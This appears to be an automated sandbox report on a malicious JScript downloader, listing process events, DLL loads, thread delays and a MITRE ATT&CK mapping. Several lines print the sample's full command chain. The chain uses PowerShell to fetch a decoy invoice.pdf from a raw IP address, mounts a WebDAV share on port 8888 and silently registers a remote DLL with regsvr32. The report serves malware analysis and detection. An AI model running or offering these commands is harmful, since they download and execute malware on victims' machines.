Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1262.js.csv");ITextStream.WriteLine(" entry:8193 f:nioyujkgb");ITextStream.WriteLine(" exec:2 f:nioyujkgb");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49735

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4489			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5363			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3604	Thread sleep count: 4489 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3604	Thread sleep count: 5363 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7084	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1776	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3768	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2992	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2245725966.000001F5FFEE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2245725966.000001F5FFF49000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3469282947.0000024977647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3469381015.000002497765E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3467392964.000002497622B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2245725966.000001F5FFF49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW+

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
